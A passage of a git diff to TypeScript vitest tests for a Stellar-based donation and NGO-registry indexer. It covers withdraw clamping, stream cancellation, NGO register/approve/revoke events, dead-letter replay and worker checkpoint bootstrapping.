expect(deadLetter).toBeNull(); + }); +}); + +describe('handleDonationVaultEvent handler branches (#316)', () => { + afterEach(async () => { + vi.restoreAllMocks(); + vi.mocked(dispatchNotification).mockClear(); + await resetDb(); + }); + + async function seedStream(onChainId: bigint, balance: string, withdrawn = '0') { + const donorRow = await prisma.donor.create({ data: { address: fakeAddress('D') } }); + const ngoRow = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('E'), name: 'NGO E' }, + }); + await prisma.stream.create({ + data: { + onChainId, + donorId: donorRow.id, + ngoId: ngoRow.id, + tokenAddress: fakeAddress('F'), + rate: '10', + balance, + withdrawn, + }, + }); + } + + const clampWarnings = (warn: ReturnType) => + warn.mock.calls.filter(([, message]) => message === 'withdraw exceeds recorded stream balance'); + + describe('withdraw clamp', () => { + it('does not warn on an ordinary withdraw that leaves a positive balance', async () => { + const warn = vi.spyOn(logger, 'warn'); + await seedStream(70n, '1000'); + + await handleDonationVaultEvent( + makeEvent([symbolScVal('withdraw'), u64ScVal(70n)], i128ScVal(400n)), + ); + + expect(clampWarnings(warn)).toHaveLength(0); + const stream = await prisma.stream.findUnique({ where: { onChainId: 70n } }); + expect(stream?.balance).toBe('600'); + }); + + it('does not warn when a withdraw drains the balance to exactly zero', async () => { + const warn = vi.spyOn(logger, 'warn'); + await seedStream(71n, '500'); + + await handleDonationVaultEvent( + makeEvent([symbolScVal('withdraw'), u64ScVal(71n)], i128ScVal(500n)), + ); + + expect(clampWarnings(warn)).toHaveLength(0); + const stream = await prisma.stream.findUnique({ where: { onChainId: 71n } }); + expect(stream?.balance).toBe('0'); + expect(stream?.withdrawn).toBe('500'); + }); + + it('warns once on a clamp and still records the event and notification with the raw amount', async () => { + const warn = vi.spyOn(logger, 'warn'); + await seedStream(72n, '400', '100'); + const event = makeEvent([symbolScVal('withdraw'), u64ScVal(72n)], i128ScVal(500n)); + + await handleDonationVaultEvent(event); + + expect(clampWarnings(warn)).toEqual([ + [ + { onChainId: '72', balance: '400', accrued: '500' }, + 'withdraw exceeds recorded stream balance', + ], + ]); + + // The clamp only floors the balance; the audit trail keeps the real amount. + const streamEvent = await prisma.streamEvent.findFirst({ where: { streamId: 72n } }); + expect(streamEvent?.type).toBe('withdraw'); + expect(streamEvent?.payload).toMatchObject({ accrued: '500' }); + expect(dispatchNotification).toHaveBeenCalledWith({ + type: 'stream_withdrawn', + eventId: event.id, + streamId: '72', + amount: '500', + }); + }); + }); + + describe('cancel for an NGO that never registered', () => { + const createdEvent = (onChainId: bigint, donor: string, ngo: string) => + makeEvent( + [symbolScVal('created'), u64ScVal(onChainId)], + xdr.ScVal.scvVec([ + addressScVal(donor), + addressScVal(ngo), + addressScVal(fakeAddress('T')), + i128ScVal(1000n), + i128ScVal(10n), + ]), + ); + + it('keeps the placeholder NGO (empty name, unverified) when its stream is cancelled', async () => { + const donor = fakeAddress('P'); + const ngo = fakeAddress('Q'); + await handleDonationVaultEvent(createdEvent(80n, donor, ngo)); + + const before = await prisma.ngo.findUniqueOrThrow({ where: { ownerAddress: ngo } }); + expect(before.name).toBe(''); + expect(before.verified).toBe(false); + + const cancel = makeEvent( + [symbolScVal('cancel'), u64ScVal(80n)], + xdr.ScVal.scvVec([i128ScVal(300n), i128ScVal(700n)]), + ); + await handleDonationVaultEvent(cancel); + + const stream = await prisma.stream.findUniqueOrThrow({ where: { onChainId: 80n } }); + expect(stream.status).toBe('CANCELLED'); + expect(stream.ngoId).toBe(before.id); + + const after = await prisma.ngo.findUniqueOrThrow({ where: { ownerAddress: ngo } }); + expect(after.id).toBe(before.id); + expect(after.name).toBe(''); + expect(after.verified).toBe(false); + expect(await prisma.ngo.count()).toBe(1); + + expect(dispatchNotification).toHaveBeenCalledWith({ + type: 'stream_cancelled', + eventId: cancel.id, + streamId: '80', + settledToNgo: '300', + refundToDonor: '700', + }); + }); + + it('does not invent an NGO or donor when the cancelled stream is unknown', async () => { + const event = makeEvent( + [symbolScVal('cancel'), u64ScVal(81n)], + xdr.ScVal.scvVec([i128ScVal(300n), i128ScVal(700n)]), + ); + + await handleDonationVaultEvent(event); + + expect(await prisma.ngo.count()).toBe(0); + expect(await prisma.donor.count()).toBe(0); + expect(dispatchNotification).not.toHaveBeenCalled(); + }); + }); +}); diff --git a/test/indexer/ngoRegistry.test.ts b/test/indexer/ngoRegistry.test.ts index 14c04d5..9c5a3db 100644 --- a/test/indexer/ngoRegistry.test.ts +++ b/test/indexer/ngoRegistry.test.ts @@ -1,149 +1,149 @@ -import { afterEach, describe, expect, it, vi } from 'vitest'; - -vi.mock('../../src/notifications/service.js', () => ({ dispatchNotification: vi.fn() })); - -import { prisma } from '../../src/db.js'; -import { handleNgoRegistryEvent } from '../../src/indexer/handlers/ngoRegistry.js'; -import { dispatchNotification } from '../../src/notifications/service.js'; -import { fakeAddress, resetDb } from '../helpers/db.js'; -import { addressScVal, makeEvent, stringScVal, symbolScVal } from '../helpers/events.js'; - -describe('handleNgoRegistryEvent', () => { - afterEach(async () => { - vi.mocked(dispatchNotification).mockClear(); - await resetDb(); - }); - - it('creates an unverified NGO on a register event', async () => { - const owner = fakeAddress('A'); - - await handleNgoRegistryEvent( - makeEvent([symbolScVal('register'), addressScVal(owner)], stringScVal('Red Cross')), - ); - - const ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); - expect(ngo?.name).toBe('Red Cross'); - expect(ngo?.verified).toBe(false); - - // A StreamEvent row must be written atomically with the ngo upsert. - const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'register' } }); - expect(streamEvent).not.toBeNull(); - expect(streamEvent?.streamId).toBeNull(); - expect(streamEvent?.ledger).toBe(100); - expect(streamEvent?.payload).toMatchObject({ ownerAddress: owner, name: 'Red Cross' }); - }); - - it('dispatches an ngo_registered notification on a register event', async () => { - const owner = fakeAddress('E'); - const event = makeEvent( - [symbolScVal('register'), addressScVal(owner)], - stringScVal('Oxfam'), - ); - - await handleNgoRegistryEvent(event); - - const ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); - expect(ngo).not.toBeNull(); - expect(dispatchNotification).toHaveBeenCalledTimes(1); - expect(dispatchNotification).toHaveBeenCalledWith({ - type: 'ngo_registered', - ownerAddress: owner, - ngoId: ngo?.id, - eventId: event.id, - }); - }); - - it('marks an existing NGO verified on an approved event', async () => { - const owner = fakeAddress('B'); - await prisma.ngo.create({ data: { ownerAddress: owner, name: 'Doctors Without Borders' } }); - - await handleNgoRegistryEvent(makeEvent([symbolScVal('approved'), addressScVal(owner)], stringScVal(''))); - - const ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); - expect(ngo?.verified).toBe(true); - - // A StreamEvent row must be written atomically with the ngo update. - const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'approved' } }); - expect(streamEvent).not.toBeNull(); - expect(streamEvent?.streamId).toBeNull(); - expect(streamEvent?.payload).toMatchObject({ ownerAddress: owner }); - }); - - it('is a no-op for an approved event with no matching NGO', async () => { - const owner = fakeAddress('C'); - - // Should not throw even though no NGO row exists for this address — - // updateMany (not update) is exactly for this case. - await expect( - handleNgoRegistryEvent(makeEvent([symbolScVal('approved'), addressScVal(owner)], stringScVal(''))), - ).resolves.not.toThrow(); - - const ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); - expect(ngo).toBeNull(); - - // A StreamEvent is still written even when no NGO row was found — - // the event happened on-chain regardless. - const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'approved' } }); - expect(streamEvent).not.toBeNull(); - expect(streamEvent?.payload).toMatchObject({ ownerAddress: owner }); - }); - - it('marks a verified NGO unverified on a revoked event following approval', async () => { - const owner = fakeAddress('D'); - await prisma.ngo.create({ data: { ownerAddress: owner, name: 'UNICEF' } }); - - await handleNgoRegistryEvent(makeEvent([symbolScVal('approved'), addressScVal(owner)], stringScVal(''))); - let ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); - expect(ngo?.verified).toBe(true); - - const txHash = '1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef'; - const event = makeEvent([symbolScVal('revoked'), addressScVal(owner)], stringScVal(''), { txHash }); - await handleNgoRegistryEvent(event); - ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); - expect(ngo?.verified).toBe(false); - - // A StreamEvent row must be written atomically with the ngo update. - const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'revoked' } }); - expect(streamEvent).not.toBeNull(); - expect(streamEvent?.streamId).toBeNull(); - expect(streamEvent?.ledger).toBe(100); - expect(streamEvent?.txHash).toBe(txHash); - expect(streamEvent?.payload).toMatchObject({ ownerAddress: owner }); - }); - - it('dispatches ngo_approved notification for approved event', async () => { - const owner = fakeAddress('F'); - await prisma.ngo.create({ data: { ownerAddress: owner, name: 'Save the Whales' } }); - - const event = makeEvent([symbolScVal('approved'), addressScVal(owner)], stringScVal('')); - await handleNgoRegistryEvent(event); - - const ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); - expect(ngo?.verified).toBe(true); - - expect(dispatchNotification).toHaveBeenCalledWith({ - type: 'ngo_approved', - ownerAddress: owner, - ngoId: ngo!.id, - eventId: event.id, - }); - }); - - it('dispatches ngo_revoked notification for revoked event', async () => { - const owner = fakeAddress('G'); - await prisma.ngo.create({ data: { ownerAddress: owner, name: 'Green Earth', verified: true } }); - - const event = makeEvent([symbolScVal('revoked'), addressScVal(owner)], stringScVal('')); - await handleNgoRegistryEvent(event); - - const ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); - expect(ngo?.verified).toBe(false); - - expect(dispatchNotification).toHaveBeenCalledWith({ - type: 'ngo_revoked', - ownerAddress: owner, - ngoId: ngo!.id, - eventId: event.id, - }); - }); -}); +import { afterEach, describe, expect, it, vi } from 'vitest'; + +vi.mock('../../src/notifications/service.js', () => ({ dispatchNotification: vi.fn() })); + +import { prisma } from '../../src/db.js'; +import { handleNgoRegistryEvent } from '../../src/indexer/handlers/ngoRegistry.js'; +import { dispatchNotification } from '../../src/notifications/service.js'; +import { fakeAddress, resetDb } from '../helpers/db.js'; +import { addressScVal, makeEvent, stringScVal, symbolScVal } from '../helpers/events.js'; + +describe('handleNgoRegistryEvent', () => { + afterEach(async () => { + vi.mocked(dispatchNotification).mockClear(); + await resetDb(); + }); + + it('creates an unverified NGO on a register event', async () => { + const owner = fakeAddress('A'); + + await handleNgoRegistryEvent( + makeEvent([symbolScVal('register'), addressScVal(owner)], stringScVal('Red Cross')), + ); + + const ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); + expect(ngo?.name).toBe('Red Cross'); + expect(ngo?.verified).toBe(false); + + // A StreamEvent row must be written atomically with the ngo upsert. + const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'register' } }); + expect(streamEvent).not.toBeNull(); + expect(streamEvent?.streamId).toBeNull(); + expect(streamEvent?.ledger).toBe(100); + expect(streamEvent?.payload).toMatchObject({ ownerAddress: owner, name: 'Red Cross' }); + }); + + it('dispatches an ngo_registered notification on a register event', async () => { + const owner = fakeAddress('E'); + const event = makeEvent( + [symbolScVal('register'), addressScVal(owner)], + stringScVal('Oxfam'), + ); + + await handleNgoRegistryEvent(event); + + const ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); + expect(ngo).not.toBeNull(); + expect(dispatchNotification).toHaveBeenCalledTimes(1); + expect(dispatchNotification).toHaveBeenCalledWith({ + type: 'ngo_registered', + ownerAddress: owner, + ngoId: ngo?.id, + eventId: event.id, + }); + }); + + it('marks an existing NGO verified on an approved event', async () => { + const owner = fakeAddress('B'); + await prisma.ngo.create({ data: { ownerAddress: owner, name: 'Doctors Without Borders' } }); + + await handleNgoRegistryEvent(makeEvent([symbolScVal('approved'), addressScVal(owner)], stringScVal(''))); + + const ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); + expect(ngo?.verified).toBe(true); + + // A StreamEvent row must be written atomically with the ngo update. + const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'approved' } }); + expect(streamEvent).not.toBeNull(); + expect(streamEvent?.streamId).toBeNull(); + expect(streamEvent?.payload).toMatchObject({ ownerAddress: owner }); + }); + + it('is a no-op for an approved event with no matching NGO', async () => { + const owner = fakeAddress('C'); + + // Should not throw even though no NGO row exists for this address — + // updateMany (not update) is exactly for this case. + await expect( + handleNgoRegistryEvent(makeEvent([symbolScVal('approved'), addressScVal(owner)], stringScVal(''))), + ).resolves.not.toThrow(); + + const ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); + expect(ngo).toBeNull(); + + // A StreamEvent is still written even when no NGO row was found — + // the event happened on-chain regardless. + const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'approved' } }); + expect(streamEvent).not.toBeNull(); + expect(streamEvent?.payload).toMatchObject({ ownerAddress: owner }); + }); + + it('marks a verified NGO unverified on a revoked event following approval', async () => { + const owner = fakeAddress('D'); + await prisma.ngo.create({ data: { ownerAddress: owner, name: 'UNICEF' } }); + + await handleNgoRegistryEvent(makeEvent([symbolScVal('approved'), addressScVal(owner)], stringScVal(''))); + let ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); + expect(ngo?.verified).toBe(true); + + const txHash = '1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef'; + const event = makeEvent([symbolScVal('revoked'), addressScVal(owner)], stringScVal(''), { txHash }); + await handleNgoRegistryEvent(event); + ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); + expect(ngo?.verified).toBe(false); + + // A StreamEvent row must be written atomically with the ngo update. + const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'revoked' } }); + expect(streamEvent).not.toBeNull(); + expect(streamEvent?.streamId).toBeNull(); + expect(streamEvent?.ledger).toBe(100); + expect(streamEvent?.txHash).toBe(txHash); + expect(streamEvent?.payload).toMatchObject({ ownerAddress: owner }); + }); + + it('dispatches ngo_approved notification for approved event', async () => { + const owner = fakeAddress('F'); + await prisma.ngo.create({ data: { ownerAddress: owner, name: 'Save the Whales' } }); + + const event = makeEvent([symbolScVal('approved'), addressScVal(owner)], stringScVal('')); + await handleNgoRegistryEvent(event); + + const ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); + expect(ngo?.verified).toBe(true); + + expect(dispatchNotification).toHaveBeenCalledWith({ + type: 'ngo_approved', + ownerAddress: owner, + ngoId: ngo!.id, + eventId: event.id, + }); + }); + + it('dispatches ngo_revoked notification for revoked event', async () => { + const owner = fakeAddress('G'); + await prisma.ngo.create({ data: { ownerAddress: owner, name: 'Green Earth', verified: true } }); + + const event = makeEvent([symbolScVal('revoked'), addressScVal(owner)], stringScVal('')); + await handleNgoRegistryEvent(event); + + const ngo = await prisma.ngo.findUnique({ where: { ownerAddress: owner } }); + expect(ngo?.verified).toBe(false); + + expect(dispatchNotification).toHaveBeenCalledWith({ + type: 'ngo_revoked', + ownerAddress: owner, + ngoId: ngo!.id, + eventId: event.id, + }); + }); +}); diff --git a/test/indexer/replayDeadLetters.test.ts b/test/indexer/replayDeadLetters.test.ts index 0f91d5d..78a465f 100644 --- a/test/indexer/replayDeadLetters.test.ts +++ b/test/indexer/replayDeadLetters.test.ts @@ -1,86 +1,86 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; - -const mocks = vi.hoisted(() => { - const contractId = 'CTESTREPLAYCONTRACT'; - - // contracts.ts reads these at module load; vi.hoisted() runs before this - // file's imports, so the replay script sees a watched contract id. - process.env.NGO_REGISTRY_CONTRACT_ID = contractId; - process.env.DONATION_VAULT_CONTRACT_ID = ''; - - return { contractId }; -}); - -import { prisma } from '../../src/db.js'; -import { recordDeadLetter } from '../../src/indexer/deadLetter.js'; -import { replayDeadLetters } from '../../src/scripts/replayDeadLetters.js'; -import { fakeAddress, resetDb } from '../helpers/db.js'; -import { addressScVal, makeEvent, stringScVal, symbolScVal } from '../helpers/events.js'; - -describe('dead-letter replay', () => { - beforeEach(async () => { - await resetDb(); - }); - - afterEach(async () => { - await resetDb(); - }); - - it('applies a previously failing event and marks it resolved', async () => { - const ownerAddress = fakeAddress('R'); - const event = { - ...makeEvent( - [symbolScVal('register'), addressScVal(ownerAddress)], - stringScVal('Replay NGO'), - { - id: '0000000520-0000000000', - ledger: 520, - }, - ), - contractId: mocks.contractId, - }; - - // Model an event that failed under the old handler and was dead-lettered; - // the fix has since shipped. - await recordDeadLetter(event, new Error('handler bug before the fix')); - expect(await prisma.ngo.findUnique({ where: { ownerAddress } })).toBeNull(); - - const report = await replayDeadLetters(); - - expect(report).toEqual({ attempted: 1, resolved: 1, failed: 0 }); - - const ngo = await prisma.ngo.findUnique({ where: { ownerAddress } }); - expect(ngo?.name).toBe('Replay NGO'); - - const deadLetter = await prisma.indexerDeadLetter.findUnique({ - where: { eventId: event.id }, - }); - expect(deadLetter?.resolvedAt).not.toBeNull(); - expect(deadLetter?.attempts).toBe(2); - }); - - it('leaves an event unresolved when replay still fails', async () => { - const eventId = '0000000521-0000000000'; - await prisma.indexerDeadLetter.create({ - data: { - eventId, - ledger: 521, - contractId: mocks.contractId, - error: 'original failure', - topic: ['not-valid-base64-xdr'], - value: null, - txHash: null, - attempts: 1, - }, - }); - - const report = await replayDeadLetters(); - - expect(report).toEqual({ attempted: 1, resolved: 0, failed: 1 }); - - const deadLetter = await prisma.indexerDeadLetter.findUnique({ where: { eventId } }); - expect(deadLetter?.resolvedAt).toBeNull(); - expect(deadLetter?.attempts).toBe(2); - expect(deadLetter?.error).not.toBe('original failure'); - }); -}); +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; + +const mocks = vi.hoisted(() => { + const contractId = 'CTESTREPLAYCONTRACT'; + + // contracts.ts reads these at module load; vi.hoisted() runs before this + // file's imports, so the replay script sees a watched contract id. + process.env.NGO_REGISTRY_CONTRACT_ID = contractId; + process.env.DONATION_VAULT_CONTRACT_ID = ''; + + return { contractId }; +}); + +import { prisma } from '../../src/db.js'; +import { recordDeadLetter } from '../../src/indexer/deadLetter.js'; +import { replayDeadLetters } from '../../src/scripts/replayDeadLetters.js'; +import { fakeAddress, resetDb } from '../helpers/db.js'; +import { addressScVal, makeEvent, stringScVal, symbolScVal } from '../helpers/events.js'; + +describe('dead-letter replay', () => { + beforeEach(async () => { + await resetDb(); + }); + + afterEach(async () => { + await resetDb(); + }); + + it('applies a previously failing event and marks it resolved', async () => { + const ownerAddress = fakeAddress('R'); + const event = { + ...makeEvent( + [symbolScVal('register'), addressScVal(ownerAddress)], + stringScVal('Replay NGO'), + { + id: '0000000520-0000000000', + ledger: 520, + }, + ), + contractId: mocks.contractId, + }; + + // Model an event that failed under the old handler and was dead-lettered; + // the fix has since shipped. + await recordDeadLetter(event, new Error('handler bug before the fix')); + expect(await prisma.ngo.findUnique({ where: { ownerAddress } })).toBeNull(); + + const report = await replayDeadLetters(); + + expect(report).toEqual({ attempted: 1, resolved: 1, failed: 0 }); + + const ngo = await prisma.ngo.findUnique({ where: { ownerAddress } }); + expect(ngo?.name).toBe('Replay NGO'); + + const deadLetter = await prisma.indexerDeadLetter.findUnique({ + where: { eventId: event.id }, + }); + expect(deadLetter?.resolvedAt).not.toBeNull(); + expect(deadLetter?.attempts).toBe(2); + }); + + it('leaves an event unresolved when replay still fails', async () => { + const eventId = '0000000521-0000000000'; + await prisma.indexerDeadLetter.create({ + data: { + eventId, + ledger: 521, + contractId: mocks.contractId, + error: 'original failure', + topic: ['not-valid-base64-xdr'], + value: null, + txHash: null, + attempts: 1, + }, + }); + + const report = await replayDeadLetters(); + + expect(report).toEqual({ attempted: 1, resolved: 0, failed: 1 }); + + const deadLetter = await prisma.indexerDeadLetter.findUnique({ where: { eventId } }); + expect(deadLetter?.resolvedAt).toBeNull(); + expect(deadLetter?.attempts).toBe(2); + expect(deadLetter?.error).not.toBe('original failure'); + }); +}); diff --git a/test/indexer/worker.bootstrap.test.ts b/test/indexer/worker.bootstrap.test.ts index 1aa7873..b7972e4 100644 --- a/test/indexer/worker.bootstrap.test.ts +++ b/test/indexer/worker.bootstrap.test.ts @@ -1,197 +1,197 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; - -// Mocks are hoisted and registered before any import resolution. The worker -// module reads process.env at module-evaluation time, so we re-import it -// fresh per test (via freshWorker) to pick up env var changes and reset the -// module-level `lastProcessedLedger` cache. -vi.mock('../../src/indexer/checkpoint.js', () => ({ - getCheckpointState: vi.fn(), - saveCheckpoint: vi.fn().mockResolvedValue(undefined), -})); -vi.mock('../../src/stellar/rpc.js', () => ({ - getLatestLedgerSequence: vi.fn(), - rpcServer: { getEvents: vi.fn().mockResolvedValue({ events: [] }) }, -})); -vi.mock('../../src/indexer/contracts.js', () => ({ - WATCHED_CONTRACT_IDS: ['CONTRACT_A'], -})); -// None of these cases drives a handler failure, so the dead-letter path is -// never reached. Mocked out anyway so re-importing the worker per case -// doesn't pull in src/db.js and open a fresh connection pool each time. -vi.mock('../../src/indexer/deadLetter.js', () => ({ - recordDeadLetter: vi.fn().mockResolvedValue(undefined), -})); -vi.mock('../../src/indexer/lock.js', () => ({ - tryAcquireIndexerLock: vi.fn(), -})); - -const checkpoint = await import('../../src/indexer/checkpoint.js'); -const rpc = await import('../../src/stellar/rpc.js'); -const deadLetter = await import('../../src/indexer/deadLetter.js'); -const indexerLock = await import('../../src/indexer/lock.js'); - -beforeEach(() => { - vi.clearAllMocks(); - vi.mocked(checkpoint.saveCheckpoint).mockResolvedValue(undefined); - vi.mocked(checkpoint.getCheckpointState).mockResolvedValue(undefined); - process.env.INDEXER_POLL_INTERVAL_MS = '20'; -}); - -afterEach(() => { - delete process.env.INDEXER_START_LEDGER; - delete process.env.INDEXER_POLL_INTERVAL_MS; -}); - -// Returns a fresh worker module so the module-level `lastProcessedLedger` -// state and top-level env var constants are re-read on each test. -async function freshWorker() { - vi.resetModules(); - vi.doMock('../../src/indexer/checkpoint.js', () => ({ - getCheckpointState: checkpoint.getCheckpointState, - saveCheckpoint: checkpoint.saveCheckpoint, - })); - vi.doMock('../../src/stellar/rpc.js', () => ({ - getLatestLedgerSequence: rpc.getLatestLedgerSequence, - rpcServer: rpc.rpcServer, - })); - vi.doMock('../../src/indexer/contracts.js', () => ({ - WATCHED_CONTRACT_IDS: ['CONTRACT_A'], - })); - vi.doMock('../../src/indexer/deadLetter.js', () => ({ - recordDeadLetter: deadLetter.recordDeadLetter, - })); - vi.doMock('../../src/indexer/lock.js', () => ({ - tryAcquireIndexerLock: indexerLock.tryAcquireIndexerLock, - })); - return import('../../src/indexer/worker.js'); -} - -type EventHandler = (event: unknown) => Promise; - -/** - * Runs the indexer worker for a single poll tick by stopping it as soon as - * an initial checkpoint is saved or after a short safety timeout. - */ -function runWorkerUntilFirstSave( - startIndexer: (h: EventHandler) => () => Promise, - handleEvent: EventHandler = async () => {}, -): Promise { - return new Promise((resolve) => { - let stop: (() => Promise) | null = null; - let finished = false; - - const finish = async () => { - if (finished) return; - finished = true; - if (stop) { - await stop(); - } - resolve(); - }; - - vi.mocked(checkpoint.saveCheckpoint).mockImplementation(async () => { - setTimeout(() => { - void finish(); - }, 0); - }); - - stop = startIndexer(handleEvent); - setTimeout(() => { - void finish(); - }, 150); - }); -} - -function runWorkerBriefly( - startIndexer: (h: EventHandler) => () => Promise, - handleEvent: EventHandler = async () => {}, -): Promise { - return new Promise((resolve) => { - const stop = startIndexer(handleEvent); - setTimeout(async () => { - await stop(); - resolve(); - }, 100); - }); -} - -describe('worker bootstrap (no existing checkpoint)', () => { - it('saves INDEXER_START_LEDGER as the initial checkpoint when set', async () => { - process.env.INDEXER_START_LEDGER = '1000'; - vi.mocked(checkpoint.getCheckpointState).mockResolvedValue(undefined); - // latestLedger <= START_LEDGER so subsequent polls hit the "nothing new" - // guard and return without calling saveCheckpoint again. - vi.mocked(rpc.getLatestLedgerSequence).mockResolvedValue(1000); - - const { startIndexer } = await freshWorker(); - await runWorkerUntilFirstSave(startIndexer); - - expect(checkpoint.saveCheckpoint).toHaveBeenCalledWith(1000); - // Must not fall back to the RPC latest ledger as the starting point. - expect(checkpoint.saveCheckpoint).toHaveBeenCalledTimes(1); - }); - - it('falls back to the latest ledger and processes no historical events when INDEXER_START_LEDGER is not set', async () => { - vi.mocked(checkpoint.getCheckpointState).mockResolvedValue(undefined); - vi.mocked(rpc.getLatestLedgerSequence).mockResolvedValue(5000); - const handleEvent = vi.fn().mockResolvedValue(undefined); - - const { startIndexer } = await freshWorker(); - await runWorkerUntilFirstSave(startIndexer, handleEvent); - - expect(checkpoint.getCheckpointState).toHaveBeenCalled(); - expect(rpc.getLatestLedgerSequence).toHaveBeenCalled(); - expect(checkpoint.saveCheckpoint).toHaveBeenCalledWith(5000); - expect(rpc.rpcServer.getEvents).not.toHaveBeenCalled(); - expect(handleEvent).not.toHaveBeenCalled(); - }); - - it('ignores INDEXER_START_LEDGER when a checkpoint already exists', async () => { - process.env.INDEXER_START_LEDGER = '1000'; - vi.mocked(checkpoint.getCheckpointState).mockResolvedValue({ lastLedger: 8000 }); - vi.mocked(rpc.getLatestLedgerSequence).mockResolvedValue(9999); - - const { startIndexer } = await freshWorker(); - await runWorkerBriefly(startIndexer); - - // Resumed from existing checkpoint — the env var must be ignored - expect(checkpoint.saveCheckpoint).not.toHaveBeenCalledWith(1000); - }); - - it('advances the checkpoint when the latest ledger has no events', async () => { - vi.mocked(checkpoint.getCheckpointState).mockResolvedValue({ lastLedger: 100 }); - vi.mocked(rpc.getLatestLedgerSequence).mockResolvedValue(125); - vi.mocked(rpc.rpcServer.getEvents).mockResolvedValue({ events: [] }); - - const { startIndexer } = await freshWorker(); - await runWorkerBriefly(startIndexer); - - expect(checkpoint.saveCheckpoint).toHaveBeenCalledWith(125); - }); - - it('allows only one of two workers to process events while the advisory lock is held', async () => { - vi.mocked(checkpoint.getCheckpoint).mockResolvedValue(100); - vi.mocked(rpc.getLatestLedgerSequence).mockResolvedValue(101); - let lockAttempts = 0; - vi.mocked(indexerLock.tryAcquireIndexerLock).mockImplementation(async () => { - lockAttempts += 1; - return lockAttempts === 1 - ? { isHeld: () => true, release: async () => {} } - : undefined; - }); - const event = { id: '101-0', ledger: 101 }; - vi.mocked(rpc.rpcServer.getEvents) - .mockResolvedValueOnce({ events: [event] } as never) - .mockResolvedValue({ events: [] }); - const handleEvent = vi.fn().mockResolvedValue(undefined); - const { startIndexer } = await freshWorker(); - const stopFirst = startIndexer(handleEvent); - const stopSecond = startIndexer(handleEvent); - - await new Promise((resolve) => setTimeout(resolve, 100)); - await Promise.all([stopFirst(), stopSecond()]); - - expect(lockAttempts).toBeGreaterThan(1); - expect(handleEvent).toHaveBeenCalledTimes(1); - }); -}); +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; + +// Mocks are hoisted and registered before any import resolution. The worker +// module reads process.env at module-evaluation time, so we re-import it +// fresh per test (via freshWorker) to pick up env var changes and reset the +// module-level `lastProcessedLedger` cache. +vi.mock('../../src/indexer/checkpoint.js', () => ({ + getCheckpointState: vi.fn(), + saveCheckpoint: vi.fn().mockResolvedValue(undefined), +})); +vi.mock('../../src/stellar/rpc.js', () => ({ + getLatestLedgerSequence: vi.fn(), + rpcServer: { getEvents: vi.fn().mockResolvedValue({ events: [] }) }, +})); +vi.mock('../../src/indexer/contracts.js', () => ({ + WATCHED_CONTRACT_IDS: ['CONTRACT_A'], +})); +// None of these cases drives a handler failure, so the dead-letter path is +// never reached. Mocked out anyway so re-importing the worker per case +// doesn't pull in src/db.js and open a fresh connection pool each time. +vi.mock('../../src/indexer/deadLetter.js', () => ({ + recordDeadLetter: vi.fn().mockResolvedValue(undefined), +})); +vi.mock('../../src/indexer/lock.js', () => ({ + tryAcquireIndexerLock: vi.fn(), +})); + +const checkpoint = await import('../../src/indexer/checkpoint.js'); +const rpc = await import('../../src/stellar/rpc.js'); +const deadLetter = await import('../../src/indexer/deadLetter.js'); +const indexerLock = await import('../../src/indexer/lock.js'); + +beforeEach(() => { + vi.clearAllMocks(); + vi.mocked(checkpoint.saveCheckpoint).mockResolvedValue(undefined); + vi.mocked(checkpoint.getCheckpointState).mockResolvedValue(undefined); + process.env.INDEXER_POLL_INTERVAL_MS = '20'; +}); + +afterEach(() => { + delete process.env.INDEXER_START_LEDGER; + delete process.env.INDEXER_POLL_INTERVAL_MS; +}); + +// Returns a fresh worker module so the module-level `lastProcessedLedger` +// state and top-level env var constants are re-read on each test. +async function freshWorker() { + vi.resetModules(); + vi.doMock('../../src/indexer/checkpoint.js', () => ({ + getCheckpointState: checkpoint.getCheckpointState, + saveCheckpoint: checkpoint.saveCheckpoint, + })); + vi.doMock('../../src/stellar/rpc.js', () => ({ + getLatestLedgerSequence: rpc.getLatestLedgerSequence, + rpcServer: rpc.rpcServer, + })); + vi.doMock('../../src/indexer/contracts.js', () => ({ + WATCHED_CONTRACT_IDS: ['CONTRACT_A'], + })); + vi.doMock('../../src/indexer/deadLetter.js', () => ({ + recordDeadLetter: deadLetter.recordDeadLetter, + })); + vi.doMock('../../src/indexer/lock.js', () => ({ + tryAcquireIndexerLock: indexerLock.tryAcquireIndexerLock, + })); + return import('../../src/indexer/worker.js'); +} + +type EventHandler = (event: unknown) => Promise; + +/** + * Runs the indexer worker for a single poll tick by stopping it as soon as + * an initial checkpoint is saved or after a short safety timeout. + */ +function runWorkerUntilFirstSave( + startIndexer: (h: EventHandler) => () => Promise, + handleEvent: EventHandler = async () => {}, +): Promise { + return new Promise((resolve) => { + let stop: (() => Promise) | null = null; + let finished = false; + + const finish = async () => { + if (finished) return; + finished = true; + if (stop) { + await stop(); + } + resolve(); + }; + + vi.mocked(checkpoint.saveCheckpoint).mockImplementation(async () => { + setTimeout(() => { + void finish(); + }, 0); + }); + 